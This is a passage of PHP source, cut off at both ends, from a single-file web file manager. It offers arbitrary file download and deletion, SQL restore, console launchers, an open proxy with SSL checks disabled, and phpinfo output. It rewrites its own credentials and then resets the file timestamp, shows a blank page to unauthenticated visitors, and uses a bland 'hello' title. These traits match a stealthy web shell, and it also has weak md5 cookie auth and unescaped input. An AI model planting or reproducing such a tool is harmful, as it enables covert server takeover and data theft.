	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' — '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: black;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: black;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//как-то тоже подменять надо
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

function find_text_in_files($dir, $mask, $text) {
    $results = array();
    if ($handle = opendir($dir)) {
        while (false !== ($entry = readdir($handle))) {
            if ($entry != "." && $entry != "..") {
                $path = $dir . "/" . $entry;
                if (is_dir($path)) {
                    $results = array_merge($results, find_text_in_files($path, $mask, $text));
                } else {
                    if (fnmatch($mask, $entry)) {
                        $contents = file_get_contents($path);
                        if (strpos($contents, $text) !== false) {
                            $results[] = str_replace('//', '/', $path);
                        }
                    }
                }
            }
        }
        closedir($handle);
    }
    return $results;
}


/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg_ntimes = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg_ntimes .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg_ntimes .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg_ntimes .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg_ntimes .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg_ntimes .= __('File updated');
				} else $msg_ntimes .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg_ntimes .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title>"hello"</title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: #DD6900; text-decoration: underline; }
a.th:link { color: #FFA34F; text-decoration: none; }
a.th:active { color: #FFA34F; text-decoration: none; }
a.th:visited { color: #FFA34F; text-decoration: none; }
a.th:hover {  color: #FFA34F; text-decoration: underline; }

table.bg {
	background-color: #ACBBC6
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	#006699;
	color:				#FFA34F;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	#EFEFEF;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#D1D7DC;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	#F0F6F6;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,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");
}

.file {
    background-image: url("data:image/png;base64,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